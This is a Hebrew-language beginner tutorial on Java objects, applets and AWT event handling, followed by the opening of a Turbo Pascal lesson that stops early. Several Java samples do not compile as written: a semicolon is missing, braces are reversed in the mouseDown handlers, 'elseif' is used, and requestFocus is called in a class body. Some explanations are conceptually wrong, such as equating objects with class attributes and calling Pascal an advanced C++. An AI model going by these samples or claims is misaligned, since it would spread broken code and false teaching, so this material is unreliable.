**שייראה ככה: How do you do, Crossbow?.**

**עבודה עם אובייקטים**

**טוב... בג'אווה, לעומת ויזואל בייסיק, אין דרך ויזואלית ליצירת אובייקטים**

**על פני משטח. למרות שהיום כן קיימים מספר כלים ליצירת אובייקטים באופן קל**

**ומהיר בג'אווה, אני ממליץ לכם ללמוד ליצור את האובייקטים לבד (זה יותר**

**מקצועי). טוב, אובייקטים (Objects) בג'אווה יכולים להקרא גם לפעמים בשם**

**מופעים (Instances). האובייקטים נוצרים בזמן הריצה בתוך המחלקה. המחלקה**

**בעצם משמשת ליצירה של אובייקטים בעלי מאפיינים דומים. בעצם, אינכם יכולים**

**ליצור אובייקט יחיד, אלא מחלקה של אובייקטים. האובייקטים במחלקה הם בעצם**

**המאפיינים בה. למשל, אתה יכול ליצור מחלקת "שפת תיכנות", ואז לתאר את**

**המאפיינים שלה כאובייקטים, לדוגמא: "שפת סף או שפה עילית", "שפה מונחית**

**אובייקטים או לא" או "שפה הרצה על פלפורמה יחידה או על מספר פלטפורמות".**

**הרעיון הוא שאתם יוצרים את המאפיינים של המחלקה שלכם.**

**דוגמא למחלקה**

**כעת ניצור מחלקה שתתאר משהו. למשל, מחלקה כמו מקודם, שתתאר מאפיינים של**

**שפת תיכנות. הנה קוד המקור:**

**class Prog {**

**String name;**

**String type;**

**Boolean oop;**

**String running;**

**void showAttrs() {**

**System.out.println(name + " is " + type);**

**System.out.println(name + " runs on " + running);**

**if (oop == true) {**

**System.out.println(name + " is an oop.");**

**} else**

**System.out.println(name + " isn't an oop.");**

**}**

**public static void main(String arguments[]) {**

**Prog p = new Prog();**

**p.name = "Java";**

**p.type = "elite";**

**p.oop = true;**

**p.running = " seveal platforms."**

**System.out.println("The properties of " + p.name + ":");**

**p.showAttrs();**

**System.out.println("I guess " + p.name + " is a cool thing!!!");**

**}**

**}**

**הסברים**

**טוב, יצרנו, כמו שרצינו למעלה, תוכנית שמקבלת הגדרות מסויימות של שפת**

**תיכנות, הכוללות את שם השפה, אם היא שפת עילית או סף, אם היא מונחית**

**אובייקטים, ועל איזה פלטפורמות היא רצה. ההתחלה שלנו היא, כמובן, הגדרת**

**מחלקה חדשה בשם Prog. מאפייני המחלקה מתחלקים למאפיינים (המצויינים ישר**

**לאחר ההגדרה), ופונקצייה (המציגה פלט על המסך בהתאם למאפיינים). מאפייני**

**המחלקה פה מתחלקים לשני סוגים: מחרוזת (String) וערך בוליאני (Boolean).**

**עכשיו, מחרוזת היא טקסט, פשוטו כמשמעו. מאפיין מסוג String יוכל להחזיק**

**רק טקסט, ולכן יצויין במרכאות כפולות. ערך בוליאני הוא ערך שיכול להיות**

**בשני מצבים: נכון או לא נכון (True or False). ערכים בוליאנים שימושיים**

**מאוד במשתנים ומאפיינים ברוב שפות התיכנות, כמו גם מחרוזות. טוב, ההצהרה**

**על מאפיין מחולקת לשני חלקים: סוגו של המאפיין והשם של המאפיין. לדוגמא,**

**המשפט String type בעצם אומר לנו ליצור מאפיין חדש שהערכים שלו יהיו**

**טקסטים (מחרוזת). המאפיין ייוצג במילה type. משתמשי ויזואל בייסיק יבהלו,**

**מכיוון שבויזואל בייסיק שמות המאפיינים כבר קבועים מראש (אלא אם כן אתם**

**מתכנתים פקד משלכם), וזאת רק הוכחה לזה שג'אווה הרבה יותר פתוחה למשתמש.**

**בפונקצייה אנחנו משתמשים בפלט. הפלט צריך להיות לכם מהתוכנית האחרונה**

**שיצרנו מקודם, אבל פה ערבבנו טקסט קבוע שייפלט, וטקסט שייפלט בהתאם לערכו**

**של המאפיין. אפשר לערבב טקסט רגיל עם מאפיינים, על ידי סימן פלוס ביניהם.**

**הפלוס נקרא אופרטור, ועליהם נלמד מאוחר יותר. עוד דבר שהשתמשנו בו הוא**

**תנאי. ההצהרה על תנאי, כמו ברוב השפות, היא במילה if. לאחר מכן אנחנו**

**רושמים את התנאי בסוגריים, ולאחר מכן פותחים סוגריים מסולסלים. אחרי שכבר**

**פתחנו את הסוגריים המסולסלים, אנחנו רושמים מה קורה אם התנאי שציינו אכן**

**מתקיים. לאחר התוצאה בתנאי שהתנאי שהצבנו מתקיים, סוגרים את הסוגריים**

**המסולסלים.פה הוספנו גם מה קורה אם התנאי לא מתקיים, על ידי הוספת הצהרה**

**מתאימה לכך, המילה else ואחריה התוצאה אם התנאי אינו מתקיים. לאחר מכן,**

**סגרנו את הפונקצייה, והתחלנו ליצור את גוף התוכנית, על ידי הגדרה של**

**הפונקצייה Main. לאחר מכן, בגוף התוכנית, יצרנו אובייקט חדש שמיוצג על**

**ידי האות האנגלית p, והוא אובייקט של המחלקה Prog. הגדרנו את המאפיינים**

**של האובייקט, על ידי נקודה בין שם האובייקט לשם המאפיין, וסימן שוויון**

**בין שם המאפיין לערך שלו. לאחר מכן יישמנו את פונקציית showAttrs בעצם על**

**האובייקט (שמיוצג אצלנו על ידי האות p). לאחר מכן הצגנו פלט משולב.**

**יישומונים (אפלטונים)**

**עוד גורם הצלחה חשוב מאוד של ג'אווה הוא יצירת היישומונים (אפלטונים) בה.**

**מי שהתנסה בתיכנון אתרי אינטרנט מקצועיים, יודע, שאתר שלא משתמש בקצת**

**אינטראקטיביות לא מעניין, לא מושך, ולא ייכנסו אליו. אתם תוכלו, על ידי**

**שימוש ביישומונים של ג'אווה, ליצור דפי אינטרנט דינאמיים ואינטראקטיביים**

**בקלות ובמהירות. לפני כל הקטע התיכנותי, מספר כללים והערות לגבי אפלטונים**

**של ג'אווה. באפלטונים של ג'אווה אבטחה כבדה: אי אפשר לעשות משהו כלפי**

**המחשב של הגולש היחיד (וזה כולל מחיקת קבצים, שינוי הרג'יסטרי וכדומה, אך**

**למרות זאת אפשר יהיה למחוק קבצים מתוך השרת). את האפלטונים של ג'אווה אי**

**אפשר להריץ ישירות בלי כלים מתאימים (שימוש בדף אינטרנט או שימוש בכלי**

**הנקרא Applet Viewer). אפלטונים הם בעצם הרחבה של מחלקה הנמצאת בין שאר**

**המחלקות שבאות עם כל ערכת פיתוח של ג'אווה. עכשיו, בין מחלקות בג'אווה יש**

**יחסים מסויימים. למשל, מחלקה אחת יכולה להרחיב את השנייה. המחלקה המורחבת**

**נקראת מחלקת על (Superclass), והמרחיבה נקראת תת מחלקה (Subclass). עוד**

**דבר חשוב הוא שמחלקה יכולה להיות ציבורית (public) ופרטית (private). פה**

**אנחנו נשתמש במחלקה ציבורית.**

**יצירת יישומון**

**טוב, פה אנחנו ניצור יישומון פשוט שיציג טקסט מסויים בצבע מסויים. נשמע**

**פשוט, אבל יצירת יישומון היא הרבה יותר מסובכת מיצירת יישום רגיל. טוב,**

**הנה קוד המקור של היישומון, ואחריו הסברים:**

**import java.awt.Graphics;**

**import java.awt.Font;**

**import java.awt.Color;**

**public class Texting extends java.applet.Applet {**

**Font f = new Font("TimesRoman", Font.BOLD, 36);**

**public void paint(Graphics screen) {**

**screen.setFont(f);**

**screen.setColor(Color.blue);**

**screen.drawString("Crossbow", 5, 40);**

**}**

**}**

**הסברים**

**אנחנו משתמשים בשלוש מחלקות מתוך חבילת awt: גרפיקה, פונט וצבע. אחר כך**

**אנחנו מגדירים תת מחלקה המורחבת ממחלקה היוצרת יישומונים. לאחר מכן אנחנו**

**יוצרים מאפיין חדש המיוצג באות f, מסוג Font. באותה שורה הגדרנו את סוג**

**הפונט (TimesRoman), הצורה שבה יוצג (עבה - Bold), וגודלו (36). שורה**

**לאחר מכן השתמשנו בפונקציית paint האופיינית לאפלטונים. הגדרנו את הפונט**

**של המסך בתור האובייקט שיצרנו מקודם (שמיוצג באות f), הגדרנו אותו כך**

**שיהיה בצבע כחול (לא לפי שיטת RGB, אבל גם זה יגיע). שורה לאחר מכן אנחנו**

**השתמשנו בפונקצייה שמציירת טקסט על המסך (והגדרנו את הטקסט עצמו שייכתב**

**יחד עם הנקודה הגבוהה והשמאלית ביותר על פי קורדינטות X וגם Y). ולאחר**

**מכן סגרנו את המחלקה. קמפלו את התוכנית אחרי ששמרתם אותה בשם של המחלקה**

**עם סיומת אופיינית, יעני Texting.java יקומפל לקובץ Texting.class. צרו**

**דף Html חדש ובו הקוד הבא:**

**APPLET CODE = "Texting.class" WIDTH = 600 HEIGHT = 100>**

**</APPLET>**

**שמרו את דף זה באותה סיפרייה שבה נמצא הקובץ שקמפלנו. הריצו את דף זה**

**בדפדפן האינטרנט שלכם. אם הכל נכון, תראו את היישומון שיצרתם. אם עשיתם**

**הכל נכון, אבל היישומון עדיין לא פועל, אז הדפדפן שלכם לא תומך ג'אווה.**

**מילים לסיום**

**טוב... אני מקווה שתמשיכו קצת עם ג'אווה, זה כיף, זה חזק, וזה מקצועי!!!**

**תגובות והכל יירשמו בפורומים של האקינג ותכנות או באייסקיו או אי מייל.**

**שלכם בסבבה,**

**Crossbow**

**JAVA2**

**טוב, היום נעבוד על יישומונים של ג'אווה עם שימוש יותר מתקדם. היום נעבוד**

**על יצירת אובייקטים, על שימוש באירועים, ובכלל על המון דברים שווים. טוב,**

**בואו נתחיל!!!**

**שימוש בממשק**

**כידוע, בג'אווה אין לנו סביבה גרפית (כמו למשל בויזואל בייסיק), ואת הכל**

**אנחנו יוצרים בקוד המקור של התוכנה. ככה גם למשל, אפשר ליצור אובייקטים**

**בזמן ההרצה בג'אווה, דבר שהרבה יותר קשה ליצור בויזואל בייסיק. טוב, את**

**הממשק אנחנו יוצרים בעזרת ערכה לשימוש בחלונות, הנקראת Awt. ערכה זו היא**

**בעצם סדרת מחלקות שמאפשרות ליצור ממשק משתמש גרפי וגם לקבל קלט מהעכבר**

**והמקלדת. ממשק המשתמש מכיל שלושה דברים:**

**מנהלי פריסה**

**אובייקט שקובע איך יהיו מסודרים כל אחד ואחד מהאובייקטים. מנהלי הפריסה**

**הם בלתי נראים למשתמש.**

**מיכלים**

**אובייקט שבתוכו ישנם אובייקטים אחרים. דוגמא טובה למיכל הוא החלון של**

**היישומון. עוד דוגמאות הם חלונות עצמאיים וגם תיבות דו שיח (Dialog Box).**

**רכיבים**

**כל מה שניתן להוסיף לממשק עצמו. כולל כפתורים, רשימות, תפריטים, תיבות**

**טקסט, תוויות ועוד...**

**איך מוסיפים רכיבים**

**הנה קוד מקור להוספה של כפתור ליישומון:**

**import java.awt.\*;**

**public class CoolApplet extends java.applet.Applet {**

**String caption = "I'm the coolest button around!!!";**

**Button coolButton = new Button(caption);**

**public void init() {**

**add(coolButton);**

**}**

**}**

**הסברים**

**טוב, בשורה ראשונה אנחנו מוסיפים את ממשק המשתמש Awt לתוך התוכנית שלנו.**

**לאחר מכן אנחנו יוצרים יישומון, ויוצרים משתנה חדש בשם caption, ומגדירים**

**אותו בתור משתנה טקסטואלי שבעצם יהיה כתוב בו משהו (המילים בין המרכאות).**

**לאחר מכן אנחנו יוצרים כפתור חדש בשם coolButton, והכתובת עליו תהיה**

**המשתנה שיצרנו (המשתנה הטקסטואלי). לאחר מכן אנחנו יוצרים את הפונקצייה**

**שנקראת init שאופיינית ליישומונים, ובה אנחנו הופכים את הכפתור שהגדרנו**

**לרכיב על המסך (חלון היישומון).**

**סוגי הרכיבים**

**ישנם המון סוגים של רכיבים ביישומון. כאן אני אציין את העיקריים ביניהם:**

**כפתור**

**ידוע בשם Button. כפתור, המשמש בעיקר לשליחת מידע וטיפול מתאים במידע**

**שקיבל. משומש בעיקר על ידי לחיצה יחידה עליו בעזרת העכבר. צריך לציין**

**בתוכו את הכתוב עליו.**

**תווית**

**ידועה בשם Label. התווית, בניגוד לתיבת טקסט, בדרך כלל איננה ניתנת**

**לעריכה ישירות בזמן הריצה, ולכן השימוש העיקרי של התוויות הוא בעצם להציג**

**טקסט על המסך (אינפורמצייה). צריך לציין את הכתוב עליה, ויש גם אפשרות**

**לציין לאן יהיה יישור הטקסט, הידוע גם בשם Align.**

**תיבת סימון**

**ידועה גם בשם Check Box. תיבת הסימון משמשת בעיקר לבחירת אופצייה אחת**

**מתוך מספר אופציות. עם תיבות הסימון משומשים גם בדרך כלל מיכלים רבים,**

**מכיוון שרק אופצייה אחת יכולה להבחר במיכל אחד. צריך לציין את הטקסט**

**שיהיה ליד התיבה. עוד אפשרות להפרדת קבוצות של תיבות סימון היא יצירת**

**אובייקט מסוג CheckboxGroup.**

**קבוצת תיבות סימון**

**ידוע גם בשם CheckboxGroup. קבוצת תיבות הסימון מכיל כמה תיבות סימון.**

**השימוש באובייקט זה הוא כפרמטר נוסף לקונסטרקטור של מחלקת Checkbox.**

**הקונסטרקטור יוצר תיבת סימון, שבה אנחנו מציינים את הטקסט שיהיה ליד תיבת**

**הסימון, אחריו את שם האובייקט שאליו תיבת הסימון שייכת (שם האובייקט מסוג**

**קבוצת תיבת סימון). יש גם אפשרות לציין אם התיבה מסומנת או לא, על ידי**

**פרמטר שלישי, מסוג בוליאני (True or False). אם הפרמטר השלישי מכיל את**

**הערך True, אז התיבה מסומנת, ואם הוא מכיל False אז התיבה לא מסומנת. עוד**

**דבר חשוב הוא שאם אנחנו כותבים תוכנית ג'אווה מגרסא 2 ומעלה, אז רק שתדעו**

**שהארגומנטים השני והשלישי התחלפו: קודם מציינים אם התיבה מסומנת, ואחר כך**

**נציין לאיזו קבוצת סימון התיבה שייכת. דרך אגב, ישנו שימוש בפונקציות כדי**

**לשנות או לקבל את התיבה המסומנת, בעזרת הפוקנציות getCurrent ופונקצייה**

**ששמה setCurrent.**

**רשימת בחירה**

**ידועה בשם ComboList או גם ChoiceList. משמשות בעיקר לבחירת פריט יחיד**

**מתוך רשימה מסויימת, שהיא גם נקראת רשימה נפתחת. אחרי שעשינו את ההצהרה**

**על יצירת רשימת בחירה חדשה (שנקראת Choice), אנחנו משתמשים בפונקצייה**

**שתפקידה הוא להוסיף אופצייה חדשה לרשימת הבחירה. הפוקנצייה היא addItem.**

**בתור ארגומנט מציינים את הטקסט של האופצייה החדשה בתוך רשימת הבחירה. עוד**

**הערה היא שאם אתם משתמשים בג'אווה מעל גרסא 1.02, הפונקצייה איננה נקראת**

**עדיין addItem, אלא פשוט add. עוד פונקציות חשובות הן פונקצייה המחזירה**

**את הטקסט של פריט ברשימה לפי מספר אינדקס. הפריט הראשון ברשימה מיוצג על**

**ידי הספרה 0, השני מיוצג על ידי הספרה 1, השלישי על ידי הספרה 2 וכולי...**

**עוד פונקצייה חשובה היא countItems, שבעצם מחזירה את מספר הפריטים בתוך**

**הרשימה. פונקצייה זו לא דורשת שום ארגומנטים. פוקנצייה נוספת היא בעצם**

**מחזירה את האינדקס של הפריט הנוכחי שנבר בתוך הרשימה. פונקצייה זו נקראת**

**פוקנציית getSelectedIndex, וגם היא לא דורשת שום שימוש בארגומנטים. עוד**

**פונקצייה היא המקבילה לפונקצייה הקודמת. פוקנצייה זו מחזירה את הטקסט של**

**הפריט הנוכחי שנבחר ברשימה, ונקראת פונקציית getSelectedItem. גם היא,**

**כמו הקודמות, לא דורשת שימוש בארגומנטים פנימיים. פוקנצייה טובה לשימוש**

**היא פונקציית select, שבוחרת את האינדקס של הפריט שמצויין כפרמטר בתוכה.**

**פונקצייה אחרונה ברשימת הבחירה היא פוקנציית select עוד פעם, אבל הפעם**

**במקום לציין את מספר האינדקס, אפשר לציין טקסט מסויים כארגומנט. מה שבעצם**

**הפונקצייה הזאת עושה, זה לבחור את הפריט הראשון ברשימה לפי סדר כרונולוגי**

**שמכיל את הטקסט שמצויין כפרמטר.**

**תיבת טקסט**

**ידועה גם בתור TextField, או Textbox. תיבת טקסט היא טקסט הניתן בדרך כלל**

**לעריכה על ידי המשתמש בזמן ההרצה של היישומון. אפשר להשתמש בקונסרקטור של**

**תיבת הטקסט בתוך כמה אופציות. אופצייה ראשונה היא שימוש בתיבת טקסט לא**

**מוגדרת וריקה. כדי לבנות אחת כזאת נציין TextField, בלי ארגומנטים. עוד**

**אופצייה היא יצירת תיבת טקסט ריקה אבל עם הגבלה למספר התווים בתוכה. הערה**

**טובה היא שהגודל בזכרון שתופס טקסט מסויים בביטים הוא מספר התווים בתוכו,**

**כך שעדיף להיות ספציפיים ולהגביל את גודל הטקסט בתוך תיבות טקסט, בעיקר**

**מסיבות של חסיכת זיכרון ומהירות היישומון. אופצייה נוספת היא ציון הטקסט**

**שיהיה כבר בתחילת התוכנית בתוך תיבת הטקסט. מציינים את הטקסט ההתחלתי על**

**ידי שימוש בארגומנט טקסטואלי. אפשר להשתמש בשתי האופציות, על ידי ציון**

**הטקסט ההתחלתי ולאחר מכן ציון הגבלת התווים, כשני פרמטרים. פונקצייה טובה**

**ומשומשת הרבה בתיבות טקסט, בעיקר להזנת סיסמאות, היא שימוש בתו מסויים**

**אחיד שמסתיר סיסמאות מעיני המשתמש (כמו למשל בוינדוס, סיסמאות מוחבאות על**

**ידי שימוש בכוכביות כאלה: \*\*\*\*\*\*\*). אפשר להגדיר כל תו שתרצו, לאו דווקא**

**כוכביות, על ידי הכנסת הארגומנט בפונקציית setEchoCharacter. בגרסאות**

**מאוחרות יותר של ג'אווה הפוקנצייה היא setEchoChar. ישנם גם פונקציות**

**לשליטה בתיבת הטקסט עצמה, כמו למשל, פונקציית getText שמחזירה את הטקסט**

**שתיבת הטקסט מכילה, או פונקציית setText, שממלאת את תיבת הטקסט על ידי**

**שימוש בארגומנט הטקסטואלי של הפוקנצייה, או פונקציית isEditable שמחזירה**

**אם אפשר לערוך את תיבת הטקסט או לא ומחזירה ערך בוליאני, או פונקציית**

**setEditable שקובעת האם ניתן לערוך את תיבת הטקסט, על ידי שימוש בפרמטר**

**בוליאני.**

**אזור טקסט**

**ידוע בשם TextArea. תפקידו זהה לתפקיד תיבת הטקסט, אבל השוני הוא שאזור**

**הטקסט יכול להכיל יותר משורת טקסט אחת. לאזורי הטקסט יש פסי גלילה לאורך**

**ולרוחב, שמאפשרים לבצע גלילה על הטקסט שבתוך אזור הטקסט. כדי לעשות שימוש**

**בירידת שורה באזור טקסט בתוך קוד המקור של היישומון ולא בזמן ההרצה שלו,**

**משתמשים בסלאש ואז באו האנגלית n קטנה (כמו בשפת סי).**

**פס גלילה**

**נקרא גם ScrollBar. מאפשר בחירת ערך על ידי הזזת תיבה בין שני חצים. פס**

**גלילה יכול להיות אופקי או אנכי. אפשר להשתמש באחד מהקונסטרקטורים שאני**

**אציין עכשיו כדי ליצור פס גלילה. אפשר להשתשמש בקונסרקטור Scrollbar בלי**

**ארגומנטים, שפשוט יוצר פס גלילה אנכי עם ערך מינימלי ומקסימלי בעלי הערך**

**אפס. אפשר להשתמש בארגומנט המגדיר את הכיוון של פס הגלילה, על ידי הוספת**

**המילה Scrollbar.HORIZONTAL או הוספת Scrollbar.VERTICAL, תלוי בכיוון**

**שאנחנו רוצים את פס הגלילה. האפשרות הכי טובה לשימוש בקונסטרקטור לדעתי,**

**היא השימוש המלא, בעל חמישה ארגומנטים: ארגומנט ראשון לקביעת כיוון פס**

**הגלילה (כמו שכבר ציינו למעלה), הארגומנט השני, שהוא הערך ההתחלתי של פס**

**הגלילה (שאסור לו להיות קטן מהערך המינימלי או גדול מהערך המקסימלי של פס**

**הגלילה, שאותם נקבע בארגומנטים הבאים), ארגומנט שלישי, שמציין את הרוחב**

**או האורך של פס הגלילה (כתלות בכיוון פס הגלילה), הארגומנט הרביעי, שבו**

**אנחנו נציין את הערך המינימלי של פס הגלילה, והארגומנט החמישי, שבו אנחנו**

**נציין את הערך המקסימלי של פס הגלילה.**

**משטח ציור**

**ידוע גם בשם Canvas. משמש בעיקר להצגת תמונות או אנימצייה. כדי להשתמש**

**במשטח הציור, אנחנו ניצור תת מחלקה של מחלקת Canvas. כל פעולות הציור**

**יהיו על אחריותה של תת המחלקה, בעזרת פונקציית paint.**

**שימוש באירועים**

**ישנם הרבה סוגים של אירועים. אירועים הם בעצם פעולות של המשתמש בדרך כלל.**

**הנה כמה סוגי אירועים מרכזיים ביישומון ג'אווה:**

**לחיצה על מקש**

**ידועה גם בשם Key Press, או Key Pressed. הלחיצה על המקש היא פשוטה: זה**

**בעצם תגובה ללחיצה על מקש מהמקלדת.**

**לחיצה על העכבר**

**ידועה גם בשם Mouse Click. לחיצה מחולקת לכמה חלקים. החלק הראשון הוא מצב**

**שבו העכבר לחוץ (Mouse Down), שחרור העכבר (Mouse Up), והמצב שבו בעצם**

**העכבר כבר נלחץ (Mouse Clicked). באירוע זה יש לחיצה על העכבר ושחרור שלו**

**באותה הנקודה.**

**תנועה של העכבר**

**ידועה גם בשם Mouse Move, או Mouse Movements. האירועים הם כניסת הסמן של**

**העכבר לתוך שטח מסויים או גרירה של העכבר (Drag).**

**אירועי הממשק**

**לחיצה על לחצן, הופעת תפריט מוקפץ, גלילת פס גלילה, שינוי טקסט באזורי**

**טקסט וכדומה.**

**שימוש בפונקציית handleEvent**

**הדרך שבה ג'אווה משתמשת באירועים היא אחת מההבדלים הכי גדולים בעצם בין**

**גרסא 1.02 לבין גרסא 2.0 של ג'אווה. בג'אווה 1.02, כל האירועים מעובדים**

**ומוגדרים על ידי פונקצייה שנקראת handleEvent. כשאירוע מועבר לפונקציית**

**handleEvent, הפונקצייה מחליטה לאיזה אירוע הוא שייך, כמו למשל, לחיצה על**

**המקלדת או לחיצה על העכבר.**

**שימוש בלחיצה על העכבר**

**כאשר אנחנו לוחצים על העכבר קורות שתי פעולות: אחת היא כאשר העכבר נלחץ**

**כבר (נקראת MouseDown), והשנייה כשהלחצן משוחרר (נקראת MouseUp). הנה**

**דוגמא טובה לשימוש בלחיצה על העכבר:**

**public boolean mouseDown(Event evt, int x, int y) }**

**}**

**הסברים**

**שתי הפונקציות, גם MouseDown וגם MouseUp, משתמשות על ידי שלושה פרמטרים:**

**האירוע עצמו, ושתי קורדינטות, קורדינטת x וקורדינטת y, שביחד יוצרות לנו**

**את הנקודה שבה נלחץ העכבר. הפרמטר evt הוא אובייקט של המחלקה Event. כל**

**האירועים גורמים להיווצרות של אובייקט של מחלקת Event, שמכיל מידע על**

**המיקום והזמן שבו האירוע התרחש וגם את סוג האירוע.**

**שימוש בלחיצה כפולה**

**ידועה גם בשם DoubleClick. בג'אווה, בניגוד לויזואל בייסיק, אין אירוע**

**ששמו הוא DoubleClick, אלא ישנו משתנה בשם clickCount שעוקב אחרי מספר**

**הפעמים שנלחץ העכבר באופן רציף. כך למשל, אפשר ליצור לחיצה כפולה, לחיצה**

**משולשת, ואפילו לחיצה מרובעת. הנה דוגמא לשימוש בלחיצה משולשת:**

**public boolean mouseDown(Event evt, int x, int y) }**

**if (evt.clickCount == 3) {**

**System.out.println("Well, that was a triple click!");**

**}**

**return false;**

**}**

**הסברים**

**פה, בתוך אירוע לחיצה על העכבר, אנחנו מציבים תנאי. פה אנחנו אומרים שאם**

**הייתה לחיצה משולשת (אם המונה הגיע לשלוש), אז יהיה פלט שיגיד משהו. דרך**

**אגב, println פועל אחרת ביישומונים: באינטרנט אקפלורר הוא שומר את הפלט**

**בתוך קובץ, ובנטסקייפ הוא מציג חלון חדש, חלון קונסול שנקרא גם טרמינל,**

**שבו יוצג הפלט.**

**שימוש בתנועות של העכבר**

**טוב, בתוך ממשק המשתמש (Awt), ישנם שני סוגי תנועות עכבר: תנועת עכבר**

**פשוטה (שבה העכבר לא לחוץ), וגרירת העכבר (תנועה משולבת עם עכבר לחוץ).**

**הנה דוגמא לשימוש בתנועת עכבר רגילה:**

**public boolean mouseMove(Event evt, int x, int y) {**

**System.out.println(x + ", " + y);**

**return true;**

**}**

**הסברים**

**טוב, אין הרבה מה להסביר, היישומון לוקח את תנועות העכבר ומציג בעצם את**

**הקורדינטות של העכבר. הנה אותה תוכנית, אבל הפעם לא עם תנועת עכבר רגילה,**

**אלא עם תנועת עכבר לחוץ (גרירה של העכבר):**

**public boolean mouseDrag(Event evt, int x, int y) {**

**System.out.println(x + ", " + y);**

**return true;**

**}**

**שימוש בכניסת ויציאת עכבר**

**למי שקרא את המילים "יציאת עכבר", אז לא, זה לא קשור ליציאת Ps2 או Com,**

**זה בכלל לא מתעסק בחומרה, זה פשוט אירוע כשהעכבר נכנס או יוצא מתחומיו של**

**היישומון. הנה דוגמא לשימוש ביציאת וכניסת עכבר:**

**public boolean mouseEnter(Event evt, int x, int y) {**

**System.out.println("The cursor is in the applet.");**

**return true;**

**}**

**public boolean mouseExit(Event evt, int x, int y) {**

**System.out.println("The cursor is not in the applet.");**

**return true;**

**}**

**שימוש באירועי מקלדת**

**כדי שאובייקט יקבל אירוע מהמקלדת, חייב להיות עליו פוקוס. בקיצר, צריך**

**להגדיר את הפוקוס על האובייקט. ניתן לעשות זאת באמצעות פוקנצייה חסרת**

**ארגומנטים, שנקראת requestFocus. הנה דוגמא לשימוש בפוקוס:**

**import java.awt.\*;**

**public class focusing extends java.applet.Applet {**

**Button coolButton = new Button("Click here");**

**coolButton.requestFocus();**

**public void init() {**

**add(coolButton);**

**}**

**}**

**הסברים**

**ביישומון זה אנחנו יוצרים כפתור חדש, ועושים עליו פוקוס על ידי קריאה**

**לפונקציית requestFocus. טוב, עכשיו כשאנחנו יודעים לעשות פוקוס, אפשר**

**לעבור לאירועי המקלדת:**

**public boolean keyDown(Event evt, int key) {**

**System.out.println("Ascii: " + key);**

**System.out.println("Character: " + (char)key);**

**return true;**

**}**

**הסברים**

**טוב, פה אנחנו משתמשים באירוע לחיצת המקש, ומציגים את ערך האסקיי של המקש**

**שנלחץ, ולאחר מכן את האות שנלחצה (הצגת התו השייך לערך האסקיי).**

**שימוש מתקדם באירועי מקלדת**

**אפשר להציג תנאי שבו אנחנו אומרים מה קורה אם מקש מסויים נלחץ. הנה דוגמא**

**טובה לקוד כזה:**

**public boolean keyDown(Event evt, int key) {**

**if (key == Event.HOME) {**

**System.out.println("You pressed the home button.");**

**}**

**return true;**

**}**

**הסברים**

**יישומון זה בעצם אומר שאם לחצנו על מקש Home, יהיה פלט. אם לא לחצנו על**

**המקש, התנאי לא התקבל, ולכן לא תהיה שום תגובה מהיישומון.**

**שימוש באירועי אובייקט**

**עד עכשיו עבדנו על אירועים כלליים, אבל מכיוון שג'אווה היא שפת תיכנות**

**מונחה אובייקטים, מן הצורך שיהיו בה גם אירועי אובייקטים. בשביל זה אנחנו**

**ניצור פונקצייה מוכרת ביישומונים הנקראת action. הנה דוגמא לפונקצייה זו,**

**יחד עם הסברים:**

**public boolean action(Event evt, Object arg) {**

**}**

**הסברים**

**פה אנחנו מקבלים שני ארגומנטים, את האירוע שמתבצע, וגם את האובייקט שעליו**

**מבוצע האירוע. הדבר הראשון שנעשה בתוך פונקציית action, הוא לבדוק על**

**איזה אובייקט בוצע האירוע. כדי לבדוק על איזה אובייקט בוצע האירוע, אפשר**

**להשתמש באופרטור instanceof ככה:**

**public boolean action(Event evt, Object arg) {**

**if (evt.target instanceof TextField)**

**return handleText(evt.target);**

**elseif (evt.target instanceof Choice)**

**return handleChoice(arg);**

**return false;**

**}**

**הסברים**

**טוב, כאן רק תיבת טקסט או תפריט בחירה יכולים להיות בפונקציית action.**

**הפונקציות handleText וגם handleChoice הם לא פונקציות שתוכננו בתוך ממשק**

**המשתמש (Awt), אלא יוכלו לשמש כפונקציות שנוצרו על ידי המתכנת בהמשך קוד**

**המקור.**

**מילים לסיום**

**אני מקווה שעכשיו, בעזרת הידע שלכם, אתם יכולים ליצור יישומונים מלאים,**

**דינאמיים ואינטראקטיביים. אני ממליץ בענק להשתמש בעורך JBuilder 2 של**

**בורלנד, שכוללת עורך נוח עם סביבה קלה לשימוש, וגם קומפיילר. אשמח לקבל**

**תגובות על הטקסט. שלכם,**

**Crossbow**

**TORBO PASCAL**

**טוב, היום נלמד קצת על אחת משפות התכנות היותר חזקות, ששמות יותר דגש על**

**התיכנות עצמו, ופחות דגש על הגרפיקה. נלמד היום את הדברים הבסיסיים ביותר**

**בשפה האדירה הזאת...**

**פסקל: מה היעד ולמה זה טוב?**

**פסקל הוא כמו סי פלוס פלוס בגרסא מתקדמת יותר... בשפת פסקל בונים דברים**

**בסיסיים והתחלתיים, ממשקים למערכות הפעלה למשל. לפסקל אין גרפיקה טובה**

**כמו לויזואל בייסיק, אבל אין לה גם את האפשרויות המוגבלות מאוד שיש בשפת**

**קוויק בייסיק. פסקל היא שפה שהיעד שלה הוא אם אס דוס. פסקל היא שפה קלה,**

**לא דורשת מחשבה רבה מדי, ובעלת אפשרויות אינסופיות כמעט.**

**מה הכתבה כוללת**

**התחלת התוכנית וסיומה: BEGIN, END.**

**פקודות כתיבה וקריאה: Write, Read.**

**ירידת שורה: WriteLn, ReadLn.**

**משתנים: VAR.**

**אופרטורים: שווה, חיבור, חיסור, כפל, חילוק.**

**שימוש בקבצים חיצוניים: USES, \*.tpu.**

**שימוש בלולאות: FOR, REPEAT.**

**קריאת מקש: ReadKey.**

**תנאים: IF, THEN, ELSE.**

**ניקוי מסך: ClrScr.**

**שימוש בחלונות גרפיים: Window.**

**שימוש בפרוצדורות: PROCEDURE.**

**עבודה עם תיקיות: RemoveDir, RmDir, MkDir, ChDir, GetDir.**

**עבודה עם קבצים: Assign, Rewrite, Close, ExeC, SwapVectors, Reset.**

**שימוש באסקיי: Chr, Ord.**

**מתחילים**

**טוב, לי יש בבית את טורבו פסקל שבע, שבאופן אישי לדעתי היא הגרסא הכי**

**טובה של שפת פסקל. אפשר להוריד בחינם את טורבו פסקל. מי שרוצה יכול לשאול**

**אותי, או לחפש באתר של גוגל. עכשיו, פתחנו את פסקל. יש לנו מסך כחול כזה,**

**שמחולק לתפריטים למעלה, לחלון הכחול מתחתיו, ואפילו יש לנו שורת קיצורי**

**דרך ועזרה למטה. עכשיו, לפסקל יש כמה כללים:**

**1) כל מילה שהיא מילה שמורה, תסומן בצבע לבן.**

**2) כל תוכנית או פרוצדורה מתחילה במילה BEGIN, ונגמרת במילה END.**

